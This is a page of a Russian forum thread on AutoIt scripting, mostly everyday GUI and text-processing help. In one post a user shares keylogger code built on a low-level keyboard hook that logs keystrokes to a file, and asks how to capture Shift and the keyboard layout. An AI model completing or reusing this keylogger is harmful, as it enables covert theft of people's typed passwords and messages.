Перейти из форума на сайт.

НовостиФайловые архивы
ПоискАктивные темыТоп лист
ПравилаКто в on-line?
Вход Забыли пароль? Первый раз на этом сайте? Регистрация
Компьютерный форум Ru.Board » Компьютеры » Программы » AutoIT (Часть 2)

Модерирует : gyra, Maz

Widok (01-06-2010 13:08): Лимит страниц. Продолжаем здесь.  Версия для печати • ПодписатьсяДобавить в закладки
Страницы: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166

   

Widok



Moderator-Следопыт
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору

AutoIt3
(Часть 1)

 
 
Домашняя страница: http://www.autoitscript.com
Страница загрузки: http://www.autoitscript.com/autoit3/downloads.php
 
Описание:

Цитата:
AutoIt v3 - это язык для написания сценариев, напоминающий BASIC. Основным его назначением является автоматизация работ с Windows GUI (графическим интерфейсом пользователя MS Windows). Для выполнения этой сложной задачи предоставляется комбинация испытанных методов, включающих в себя эмуляцию нажатий комбинаций клавиш клавиатуры, перемещения указателя мыши, управление окнами и их визуальными элементами. Как показывает практика, эти "приводные ремни" весьма эффективны для получения работающих решений в ситуациях, когда другие стандартные средства (например, VBScript и SendKeys) оказываются бессильны.
Умеет он очень и очень многое! Бесплатный.

 
Помощь по AutoIT:
  • Справку на русском (и не только) вы всегда(?) сможете найти тут
  • Учебник по AutoIt для начинающих
  • Видео-руководства на YouTube (англ.)
  • AutoIt v3: Your Quick Guide (652 КБ) - Ваш быстрый гид в мир AutoIt-а (книга в формате pdf) - Та же книжка online.
  • Справочник по командам rundll32
  • Справка WinAPI (Win 32 API по шагам)
  • Русский справочник по API-функциям
  • Полезная информация по WinAPI на русском
  • Помощь по регулярным выражениям
  • Tutorial on DllCall() & DllStructs - Небольшое (пока?) руководство по использованию функции DllCall*()
     
     
    Ресурсы, посвящённые AutoIt
  • AutoIt в Википедии
  • AutoIt Russian Community - Русское сообщество AutoIt
  • Jabber-конференция для обсуждения мелких вопросов касающихся AutoIt
  • Обзор скриптового языка AutoIt (рус.)
  • AutoIt на Yahoo! Groups
  • Раздел в конфиренции OSzone.net, посвящённый AutoIt
  • Пополняющийся со временем сайт с полезными утилитами и функциями на AutoIt
  • Коллекция AutoIt-скриптов от Sanja Alone
  • Коллекция AutoIt-скриптов от MSFN (могут быть устаревшие).
  • Коллекция AutoIt-скриптов от AZJIO
     
     
    !!! Полезные советы и заметки - новичкам и не только
     
     
  • Рекомендации по написанию скриптов
     
     
    Инструменты для AutoIt:
  • AutoIt Path Switcher - Переключение пути к папке AutoIt.
  • AutoIt3Wrapper [Страница закачки] - Программа для компиляции скрипта с дополнительными возможностями (добавление значка, описания и т.п).
  • Koda (724 Kb) - Визуализация работы с GUI - аналог Visual Basic.
  • CodeWizard (400 Kb) - нечто простенькое на вариант Koda.
  • AutoItMacroGenerator (34 Kb) - Записывает в реальном времени действия пользователя в AutoIt-код.
  • ScriptWriter (78 Kb) - Аналог AutoItMacroGenerator.
  • API Constants (1042 Kb) - Утилита для просмотра всех констант API-функции и не только.
  • Страница закачки утилит, которые идут в отдельной поставке редактора SciTE.
  • AutoIt-меню для браузера Opera.
     
    Готовые скрипты и программы с открытым кодом на AutoIt:
  • Desktop Icons Restorator - Скрипт-программа для сохранения/восстановления позиции значков рабочего стола.
  • CaptureIt - Утилита для захвата изображений с экрана.
  • SwitchIt - Скрипт для конвертирования выделенного текста.
  • Скрипт раскраски кода AutoIt для публикации в форумах
     
    Общие вопросы и решения на Autoit:
  • Обработчик скриптов добавляющий отладчик (debugger) - Последняя версия: AutoItScript Add Debugger
  • Интеракция между несколькими скриптами
  • Пример использование интеракции между скриптами - Добавление элементов GUI с внешнего модуля
  • Чтение и запись данных с/в окна/о SciTE
  • Пример автообновления версии своего приложения
  • Копирование большого файла с отображением данных прогресса
  • Создание динамического меню в Tray Icon (значок в области уведомлений)
  • Пример создания своего мастера (Wizard)
  • Метод, позволяющий запускать код VBS без создания временных файлов
  • Описание функции GUIRegisterMsg()
  • Пример перехвата вводимых символов с клавиатуры
  • Пример деактивирования TabItem
  • Пример вывода лога в Edit-поле (с поддержкой форматирования текста)
  • Пример остановки/начало выполнения скрипта + Слежение за буфером обмена с заменой неподдерживаемых в имени файла символов
  • Подключение приложения (GUI) к буферу обмена
  • Пример использования меню с значками (ModernMenu.au3) -> Список программ в меню значка в системном трее
  • Пример подсчёта интервала времени между нажатиями клавиш
  • Слежение нажатых элементов в текущем окне (под курсором)
  • Написание instant messaging Бота на AutoIt
  • Способ, позволяющий посылать нажатие клавиши в неактивное окно (не путать со свёрнутым)
  • Сервер <=> Клиент - Пример передачи файла
  • Пример отображения только элементов GUI (без самой оболочки)
  • Модуль, превращающий ваше приложение в Trial-версию
  • Слежение за выделенным текстом и с последующим его помещением в файл
     
    Отдельные функции и библиотеки (UDF):
  • Функции, относящиеся к интернету
  • Функции для работы с процессами и окнами
  • Функции для работы с файлами
  • Функции для GUI/Tray
  • Системные функции
  • Разное (то, что не подпадает под другие категории)
     


     
    За шапкой следит ViSiToR  

  • Всего записей: 24190 | Зарегистр. 07-04-2002 | Отправлено: 14:47 12-01-2009 | Исправлено: Maz, 11:50 17-04-2017
    asdfzxcv



    Junior Member
    Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
    Здравствуйте,  
    Скажите, а можно заставить аутоит работать с базой данных interbase ? мне нужно изавлеч из базы все данные за определённую дату. Мне сказали опробуй черз adbc но такого в автоите не нашол
    Спасибо.

    Всего записей: 57 | Зарегистр. 08-04-2006 | Отправлено: 12:01 27-01-2009
    Slishe

    Newbie
    Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
    Всем привет!
    Возникла такая задачка...
    Хотелось создать окошко внутри которого бы располагалась сессия CMD. Смысл окошка в том, что там нет "КРЕСТИКА", думаю вы понимаете о чем я =)))
    т.е. закрыть это приложение можно только выходом из сессии CMD, либо другими стандартными средствами типо, ALT+F4 и т.п.
    Помогите пожалуйста...  

    Всего записей: 6 | Зарегистр. 25-11-2008 | Отправлено: 14:49 27-01-2009 | Исправлено: Slishe, 15:18 27-01-2009
    Z4masko



    Advanced Member
    Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
    удалите это сообщенеие)

    ----------
    Ремонт АКПП Лексус (Lexus): RX 300, RX 330, RX 350, LX 470, GX 470, GS 300 ...

    Всего записей: 735 | Зарегистр. 05-11-2004 | Отправлено: 16:06 27-01-2009 | Исправлено: Z4masko, 16:12 27-01-2009
    ViSiToR



    Silver Member
    Редактировать | Профиль | Сообщение | ICQ | Цитировать | Сообщить модератору
    Slishe 14:49 27-01-2009
    Цитата:
    создать окошко внутри которого бы располагалась сессия CMD

    Можно так:
     

    Код:
    #include <GUIConstantsEx.au3>
    #include <WindowsConstants.au3>
    ;
     
    Opt("GUIOnEventMode", 1)
     
    Global $iCmd_PID, $hEmbed_hWnd, $iTimer = TimerInit()
     
    $hMain_GUI = GUICreate("Embed Command Line Prompt", 550, 300, 10, 10, BitOR($WS_CAPTION, $WS_POPUP), $WS_EX_CLIENTEDGE)
     
    GUISetOnEvent($GUI_EVENT_CLOSE, "Quit")
     
    _Embed_CmdGUI_Proc($hMain_GUI, "C:")
     
    While 1
        Sleep(100)
     
        If WinActive($hMain_GUI) Then WinActivate($hEmbed_hWnd)
     
        If WinActive($hEmbed_hWnd) Then
            HotKeySet("!{F4}", "Quit")
        Else
            HotKeySet("!{F4}")
        EndIf
     
        If
    TimerDiff($iTimer) >= 500 Then
            $iTimer = TimerInit()
            DllCall("User32.dll", "int", "InvalidateRect", "hwnd", $hMain_GUI, "ptr", 0, "int", 0)
        EndIf
    WEnd
     
    Func
    Quit()
        ProcessClose($iCmd_PID)
        Exit
    EndFunc
     
    Func
    _Embed_CmdGUI_Proc($hGUI, $sInit_Dir)
        $iCmd_PID = Run(@ComSpec & " /k CD " & $sInit_Dir, "", @SW_HIDE)
        $hEmbed_hWnd = 0
     
        While Not IsHWnd($hEmbed_hWnd)
            $hEmbed_hWnd = _GetHWndByPID($iCmd_PID)
        WEnd
     
        Local
    $aGUI_Pos = WinGetClientSize($hGUI)
     
        WinMove($hEmbed_hWnd, "", -4, -25, $aGUI_Pos[0]+5, $aGUI_Pos[1]+43)
        WinSetState($hEmbed_hWnd, "", @SW_SHOWMINIMIZED)
     
        GUISetState(@SW_SHOW, $hGUI)
        DllCall("User32.dll", "hwnd", "SetParent", "hwnd", $hEmbed_hWnd, "hwnd", $hGUI)
        DllCall("User32.dll", "int", "InvalidateRect", "hwnd", $hMain_GUI, "ptr", 0, "int", 0)
    EndFunc
     
    Func
    _GetHWndByPID($iPID)
        Local $aWinList = WinList()
     
        For $i = 1 To UBound($aWinList)-1
            If WinGetProcess($aWinList[$i][1]) = $iPID Then Return $aWinList[$i][1]
        Next
     
        Return
    0
    EndFunc


    ----------
    ViSiToR a.k.a CreatoR
    CreatoR это не ник, CreatoR это стиль жизни!

    Всего записей: 3251 | Зарегистр. 01-04-2006 | Отправлено: 20:49 27-01-2009 | Исправлено: ViSiToR, 20:52 27-01-2009
    sproxy



    Full Member
    Редактировать | Профиль | Сообщение | ICQ | Цитировать | Сообщить модератору

    Цитата:
    создать окошко внутри которого бы располагалась сессия CMD  
    Можно так:

     
    какое хорошее решение....а можно ли организовать такое же,
    с запуском notepad или любого другого стороннего приложения?
     
    где то тут:

    Цитата:
     $iCmd_PID = Run(@ComSpec & " /k CD " & $sInit_Dir, "", @SW_HIDE)

    так?....что то не выходит у меня...
     
    Добавлено:
    подскажите, пожалуйста, как в этом примере
     

    Цитата:
     
    GUICtrlCreateListView, тексту, в разных ячейках,  
    разный цвет возможно задать?
     
    Думаю Можно.
     
     

     
    сделать, что бы:
    1 нельязы было расширять/уменьшать колонки
    2 вообще ни чего выделять
     
    другое, что нужно и что смог, добавил:
     

    Код:
     
    $cListView = GUICtrlCreateListView("", 25, 220, 350, 65, $LVS_NOSCROLL+$LVS_NOSORTHEADER)
        $hListView = GUICtrlGetHandle($cListView)
        
        _GUICtrlListView_SetExtendedListViewStyle($hListView, BitOR($LVS_EX_GRIDLINES, $LVS_EX_FULLROWSELECT))
     

    Всего записей: 556 | Зарегистр. 21-11-2007 | Отправлено: 21:56 27-01-2009 | Исправлено: sproxy, 21:58 27-01-2009
    Z4masko



    Advanced Member
    Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
    Подскажите как упаковать все иконки, звуки и прочие внешние файлы используемые программой сразу всё в один EXE файл

    Всего записей: 735 | Зарегистр. 05-11-2004 | Отправлено: 23:01 27-01-2009
    ViSiToR



    Silver Member
    Редактировать | Профиль | Сообщение | ICQ | Цитировать | Сообщить модератору
    sproxy 21:56 27-01-2009
    Цитата:
    можно ли организовать такое же,  
     с запуском notepad или любого другого стороннего приложения?

    Можно всё, нужно поиграться с примером, с первой попытки не получилось, на большее времени нет .
     

    Цитата:
    сделать, что бы:  
     1 нельязы было расширять/уменьшать колонки  
     2 вообще ни чего выделять

     

    Код:
    #include <GUIConstantsEx.au3>
    #include <GUIListView.au3>
    #include <WindowsConstants.au3>
    ;
     
    Opt("GUIOnEventMode", 1)
     
    ;Global Const $WM_NOTIFY = 0x004E
    Global Const $HDN_FIRST = -300
    Global Const $HDN_ITEMCHANGINGA = $HDN_FIRST - 0
    ;Global Const $HDN_ITEMCHANGINGW = $HDN_FIRST - 20
    ;Global Const $WM_SETCURSOR = 0x0020

     
    $GUI = GUICreate("Static Columns Demo!", 420, 240)
    GUISetOnEvent($GUI_EVENT_CLOSE, "Quit")
     
    $ListView = GUICtrlCreateListView("Column1|Column2", 20, 20, 380, 200, $LVS_NOSORTHEADER)
    $hListView = GUICtrlGetHandle($ListView)
     
    GUICtrlCreateListViewItem("Item 1|SubItem 1", $ListView)
    GUICtrlCreateListViewItem("Item 2|SubItem 2", $ListView)
     
    GUICtrlSendMsg($ListView, $LVM_SETCOLUMNWIDTH, 0, 80)
    GUICtrlSendMsg($ListView, $LVM_SETCOLUMNWIDTH, 1, 80)
     
    GUIRegisterMsg($WM_NOTIFY, "WM_NOTIFY_EVENTS")
    GUISetState(@SW_SHOW)
     
    While 1
        Sleep(100)
    WEnd
     
    Func
    Quit()
        Exit
    EndFunc
     
    Func
    WM_NOTIFY_EVENTS($hWndGUI, $MsgID, $wParam, $lParam)
        Local $TagNMHDR = DllStructCreate("int hWndFrom;int iIDFrom;int iCode;int iItem;int iButton;ptr pitem", $lParam)
        If @error Then Return $GUI_RUNDEFMSG
     
        Local $hWndFrom = DllStructGetData($TagNMHDR, "hWndFrom")
        Local $iEvent = DllStructGetData($TagNMHDR, "iCode")
        Local $iItem = DllStructGetData($TagNMHDR, "iItem")
     
        Local $hLV_Header = GUICtrlSendMsg($ListView, $LVM_GETHEADER, 0, 0)
     
        Switch $hWndFrom
            Case $hLV_Header
                Switch $iEvent
                    Case $HDN_ITEMCHANGINGA, $HDN_ITEMCHANGINGW
                        Return 1 ;Prevent draging
                EndSwitch
            Case $hListView
                Switch $iEvent
                    Case $LVN_ITEMCHANGING, $LVN_MARQUEEBEGIN, $LVN_BEGINDRAG
                        Return 1 ;Block item selection/dragging
                EndSwitch
        EndSwitch
     
        Return $GUI_RUNDEFMSG
    EndFunc

     
    Добавлено:
    Z4masko 23:01 27-01-2009
    Цитата:
     как упаковать все иконки, звуки и прочие внешние файлы используемые программой сразу всё в один EXE файл

    FileInstall().

    ----------
    ViSiToR a.k.a CreatoR
    CreatoR это не ник, CreatoR это стиль жизни!

    Всего записей: 3251 | Зарегистр. 01-04-2006 | Отправлено: 00:21 28-01-2009
    Z4masko



    Advanced Member
    Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
    ViSiToR

    Цитата:
     как упаковать все иконки, звуки и прочие внешние файлы используемые программой сразу всё в один EXE файл
     
    FileInstall().

     
    Не совсем то. Нужно например чтобы иконка какая нибудь или рисунок на GUI интерфейсе включался именно в исполняемый EXE файл, типа был его внутренним ресурсом. То есть нужно загнать/всунуть/поместить в компилированный EXE определённые файлы данных (графика, звук и т.п.)
     
    И ещё подскажите плиз функцию определения размера массива, то есть количества элементов, находящихся в массиве ,я так понял Ubound ?

    Всего записей: 735 | Зарегистр. 05-11-2004 | Отправлено: 00:41 28-01-2009 | Исправлено: Z4masko, 01:56 28-01-2009
    ViSiToR



    Silver Member
    Редактировать | Профиль | Сообщение | ICQ | Цитировать | Сообщить модератору
    Z4masko 00:41 28-01-2009
    Цитата:
    нужно загнать/всунуть/поместить в компилированный EXE определённые файлы данных

    Через Reshacker можно.
     

    Цитата:
    я так понял Ubound

    Да.

    ----------
    ViSiToR a.k.a CreatoR
    CreatoR это не ник, CreatoR это стиль жизни!

    Всего записей: 3251 | Зарегистр. 01-04-2006 | Отправлено: 02:05 28-01-2009
    Z4masko



    Advanced Member
    Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору

    Цитата:
    Через Reshacker можно.  

    О ужос!
    А как тогда в программе (в исходном коде) указать ссылку на этот файл, будучи добавленный в EXE через ResHacker?

    Всего записей: 735 | Зарегистр. 05-11-2004 | Отправлено: 02:21 28-01-2009 | Исправлено: Z4masko, 02:21 28-01-2009
    Leagnus

    Junior Member
    Редактировать | Профиль | Сообщение | ICQ | Цитировать | Сообщить модератору

    Цитата:
    Подскажите как упаковать все иконки, звуки и прочие внешние файлы используемые программой сразу всё в один EXE файл  

    Тутачки есть интересный метод.

    Всего записей: 148 | Зарегистр. 12-09-2008 | Отправлено: 02:22 28-01-2009
    sproxy



    Full Member
    Редактировать | Профиль | Сообщение | ICQ | Цитировать | Сообщить модератору

    Цитата:
    Можно всё, нужно поиграться с примером, с первой попытки не получилось, на большее времени нет  .

    не проблема, посто подумал, вдруг ты точно знаешь ))
    ..вот и у меня нет времени, но что то подсказывает...где то это может пригодится,
    вот и хотел уточнить ))
     
     

    Цитата:
    нужно загнать/всунуть/поместить в компилированный EXE определённые файлы данных  
    Через Reshacker можно.

     
    хм...я думал это делается, с помощью: AutoIT3 Wrapper, скачать тут...
     
    Как понимаю через Reshacker то же самое делается?
    или что от тут будет по другому?
     
     
     
    Добавлено:
    Благодарю, ViSiToR, за пример, с ListView.....о током решение и не догадывался...
    думал все проще...
     
     
    * => узнать интересно, но не принципиально, решил делать через label с разным цветом фона
    (сделать слоеное наложение, так сказать псевдо таблицу) =>

    Добавлено:
     
    !!!!! р-р-р-р-р-р ...need help
    как то возможно в этом ListView увеличить высоту строчек?
    так как ввожу в него текст размером 16-17 и он вылазит за высоту строчки...
     
    может альтернативный вариант есть?
     
     
    п.с.: оказалось удобным использовать:
    Цитата:
    GUIRegisterMsg($WM_NOTIFY, "WM_NOTIFY_EVENTS")

    как понимаю все элемны используют свой WM_NOTIFY, так?
    т.е. для каждого элемена возможно сделать обработку, к примеру on mouse hover?
    (та UDF, что оборобатывает on mouse over - немного не успевает за обработкой если
    быстро двигать курсор, и бывает действе входа есть, а выхода нет....)

    Всего записей: 556 | Зарегистр. 21-11-2007 | Отправлено: 02:25 28-01-2009 | Исправлено: sproxy, 10:22 28-01-2009
    zero1632

    Newbie
    Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
    Народ, подскажите что-то я недопонимаю
    Есть WinXp и под администратором периодически запускается скриптик, который по простому filemove разбирает по директориям файлы с соответствующим им расширениям.
    Работает под логином администратора, бо сеть локальная безобразничать некому.
    Если директория создавалась вручную, то к ней есть доступ из сети.
    Если же диретокрия новая и создавалась autoit - доступа к сети тупо нет. Пробовал поставить разрешения в Total Commander (все, сеть - полный доступ) - не помогает.
    Есть решения?  
    Файловая система естественно NTFS, на FAT32 естественно опять же все ok.
     

    Всего записей: 16 | Зарегистр. 17-11-2007 | Отправлено: 12:09 28-01-2009
    Slishe

    Newbie
    Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
    >> ViSiToR
    Огромное спасибо
     
    и еще, хотелось бы тоже самое, только для telnet сессия, попробовал своими руками, что-то не выходит пока...
     
    не, все нормально, разобрался... =))))

    Всего записей: 6 | Зарегистр. 25-11-2008 | Отправлено: 12:47 28-01-2009 | Исправлено: Slishe, 13:34 28-01-2009
    ViSiToR



    Silver Member
    Редактировать | Профиль | Сообщение | ICQ | Цитировать | Сообщить модератору
    sproxy 02:25 28-01-2009
    Цитата:
    как то возможно в этом ListView увеличить высоту строчек?

    GUICtrlSetFont($ListView, 16) не помагает? А если ListView создаётся через _GUICtrlListView_Create, то на оф. форуме есть неплохое решение.
     

    Цитата:
    все элемны используют свой WM_NOTIFY

    Не все.
     

    Цитата:
    для каждого элемена возможно сделать обработку, к примеру on mouse hover?

    Нужно тогда отслеживать WM_MOUSEMOVE сообщение.
     

    Цитата:
    та UDF, что оборобатывает on mouse over - немного не успевает за обработкой если  
     быстро двигать курсор, и бывает действе входа есть, а выхода нет

    Пример можно? Речь ведь об этой UDF?

    ----------
    ViSiToR a.k.a CreatoR
    CreatoR это не ник, CreatoR это стиль жизни!

    Всего записей: 3251 | Зарегистр. 01-04-2006 | Отправлено: 14:35 28-01-2009 | Исправлено: ViSiToR, 14:52 28-01-2009
    dallas roma

    Newbie
    Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
    Возможно ли чтобы скрипт работал в фоновом режиме?! Что бы он был виден только в процессах.

    Всего записей: 13 | Зарегистр. 14-01-2009 | Отправлено: 10:49 29-01-2009 | Исправлено: dallas roma, 11:17 29-01-2009
    Zwook

    Junior Member
    Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
    Уважаемые эксперты, подскажите каким методом можно решить вот такую задачу:
     
    Есть массив текста, к примеру 2000 листов в ворде. В этом массиве текста есть "блоки" текста разделенные пробелами, некоторые блоки текста  в точности повторяются, точнее текст в точности повторяется, а вот одна или несколько цифр в этом тексте различаются.
     
    Вот приблизительно как это выглядит:
     

    Код:
     
    Раз Два Три Четыре Пять Шесть 92
    Семь Восеь Девять 0.21
     
    Раз Два Три Четыре Пять Шесть Пять 5636346
    Семь Восеь Девять 123123123
     
    Раз Два Три Четыре Пять Шесть СтоДвадцать Семь 234234
    Семь Восеь Девять 123123
     
    Раз Два Три Четыре Пять Шесть 91
    Семь Восеь Девять 0.23
     

    Первый и четвертый блок текста идентичные, за исключением двух цифр.
     
    Так вот, программа должна сортировать этот текст так, чтобы идентичные блоки текста (В которых только цифра различается) стояли рядом.
     
    То есть вот так:
     

    Код:
     
    Раз Два Три Четыре Пять Шесть 92
    Семь Восеь Девять 0.21
     
    Раз Два Три Четыре Пять Шесть 91
    Семь Восеь Девять 0.23
     
    Раз Два Три Четыре Пять Шесть Пять 5636346
    Семь Восеь Девять 123123123
     
    Раз Два Три Четыре Пять Шесть СтоДвадцать Семь 234234
    Семь Восеь Девять 123123
     

     
    Каким методом это можно выполнить? Возможно есть команда в аутоит которая может распозновать идентичные тексты, но к сожалению таковой не нашел

    Всего записей: 83 | Зарегистр. 21-11-2008 | Отправлено: 11:34 29-01-2009
    seallaes

    Newbie
    Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
    Подскажите новичку. 2 вопроса:
    1) как получить название окна, который находится в Фокусе?
    2) пытаюсь написать кейлоггер. нашёл код, который использовал. Получилось как-то так:
     
    Global $hHook, $pStub_KeyProc
     
    Global $pStub_KeyProc = DllCallbackRegister("_KeyProc", "int", "int;ptr;ptr")  
     
    Global $hmod = DllCall("kernel32.dll","hwnd","GetModuleHandle","ptr",0)  
    Global $hHook = DllCall("user32.dll","hwnd","SetWindowsHookEx","int", _  
                $WH_KEYBOARD_LL,"ptr",DllCallbackGetPtr($pStub_KeyProc),"hwnd",$hmod[0],"dword",0)  
    Global $buffer = ""  
     
    While 1  
        Sleep(10)  
    WEnd  
     
    Func EvaluateKey($keycode)  
        ToolTip($keycode&@KBLayout&" ",0,20)
        If (($keycode > 22) And ($keycode < 91)) _  
            Or (($keycode > 47) And ($keycode < 58)) Then  
            $buffer &= Chr($keycode)        
            ToolTip($buffer,0,0)  
        ElseIf ($keycode > 159) And ($keycode < 164) Then  
            Return  
        EndIf  
        
        If $keycode = 8 Then $buffer = StringLeft( $buffer, StringLen($buffer)-1 )
        
        If $keycode = 13 Then
            FileWriteLine($File, @HOUR&":"&@MIN&":"&@SEC&" "&$buffer&@CRLF)
            $buffer = ''
        EndIf
    EndFunc  
     
    Func _KeyProc($nCode, $wParam, $lParam)  
        Local $ret,$KEYHOOKSTRUCT  
        If $nCode < 0 Then  
            $ret = DllCall("user32.dll","long","CallNextHookEx","hwnd",$hHook[0], _  
                            "int",$nCode,"ptr",$wParam,"ptr",$lParam)  
            Return $ret[0]  
        EndIf  
        If $wparam = 256 Then  
            $KEYHOOKSTRUCT = DllStructCreate("dword;dword;dword;dword;ptr",$lParam)  
            EvaluateKey(DllStructGetData($KEYHOOKSTRUCT,1))  
        EndIf  
        $ret = DllCall("user32.dll","long","CallNextHookEx","hwnd",$hHook[0], _  
                        "int",$nCode,"ptr",$wParam,"ptr",$lParam)  
        Return $ret[0]  
    EndFunc  
     
    Func OnAutoItExit()  
        DllCall("user32.dll","int","UnhookWindowsHookEx","hwnd",$hHook[0])  
        DllCallbackFree($pStub_KeyProc)  
        FileWriteLine($File, "-----------------------")
        FileClose($File)    
    EndFunc  
     
    Но в данном случае не учитывается нажатие Шифта и раскладка клавиатуры. Как можно сделать чтоб это учитывалась? Или может есть у кого пример, как можно сделать кейлоггер?  

    Всего записей: 12 | Зарегистр. 15-05-2008 | Отправлено: 13:33 29-01-2009
    ViSiToR



    Silver Member
    Редактировать | Профиль | Сообщение | ICQ | Цитировать | Сообщить модератору
    dallas roma 10:49 29-01-2009
    Цитата:
    озможно ли чтобы скрипт работал в фоновом режиме?

    Да, возможно.
     
    Zwook 11:34 29-01-2009
    Цитата:
     программа должна сортировать этот текст так, чтобы идентичные блоки текста (В которых только цифра различается) стояли рядом.

    Примерно так:
     

    Код:
    #include <File.au3>
    #include <Array.au3>
     
    Global $sFile = @ScriptDir & "\DataFile.txt"
     
    Global $aData[1], $aOut_Data[1], $sSort_Data
     
    _FileReadToArray($sFile, $aData)
     
    For $i = 1 To $aData[0]
        If StringStripWS($aData[$i], 8) = "" Then ContinueLoop
     
        $aOut_Data[0] += 1
        ReDim $aOut_Data[$aOut_Data[0]+1]
     
        $aOut_Data[$aOut_Data[0]] = $aData[$i]
     
        If $i < $aData[0] Then
            $i += 1
            $aOut_Data[$aOut_Data[0]] &= "~" & $aData[$i]
        EndIf
    Next

     
    _ArraySort($aOut_Data)
     
    $sData = ""
     
    For $i = 1 To $aOut_Data[0]
        If StringStripWS($aOut_Data[$i], 8) = "" Then ContinueLoop
     
        $aSplit_Data = StringSplit($aOut_Data[$i], "~")
     
        $sData &= $aSplit_Data[1] & @CRLF & $aSplit_Data[2] & @CRLF & @CRLF
    Next
     
    $hFOpen = FileOpen($sFile, 2)
    FileWrite($hFOpen, StringStripWS($sData, 2))
    FileClose($hFOpen)
     
    ConsoleWrite($sData & @CRLF)


    ----------
    ViSiToR a.k.a CreatoR
    CreatoR это не ник, CreatoR это стиль жизни!

    Всего записей: 3251 | Зарегистр. 01-04-2006 | Отправлено: 14:05 29-01-2009
    Zwook

    Junior Member
    Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору

    Цитата:
    пытаюсь написать кейлоггер

     
    Не думаю, что кто-нибудь захочет помочь с написанием такого софта...
     

    Цитата:
    Примерно так:

     
    Спасибо! Вечером как приду домой, обязательно попробую.
     
     

    Цитата:
    Возможно ли чтобы скрипт работал в фоновом режиме?! Что бы он был виден только в процессах.

     
    Да, в примерах скриптов аутитоит есть такой скрипт. Также на сайте autoitscript.com есть tutorial, о том как работают команды ControlSend и как их использовать для работы в фоновом режиме. Просто, сейчас я не дома и ссылку дать не смогу

    Всего записей: 83 | Зарегистр. 21-11-2008 | Отправлено: 16:56 29-01-2009
       

    Страницы: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166

    Компьютерный форум Ru.Board » Компьютеры » Программы » AutoIT (Часть 2)
    Widok (01-06-2010 13:08): Лимит страниц. Продолжаем здесь.


    Реклама на форуме Ru.Board.

    Powered by Ikonboard "v2.1.7b" © 2000 Ikonboard.com
    Modified by Ru.B0ard
    © Ru.B0ard 2000-2024

    BitCoin: 1NGG1chHtUvrtEqjeerQCKDMUi6S6CG4iC

    Рейтинг.ru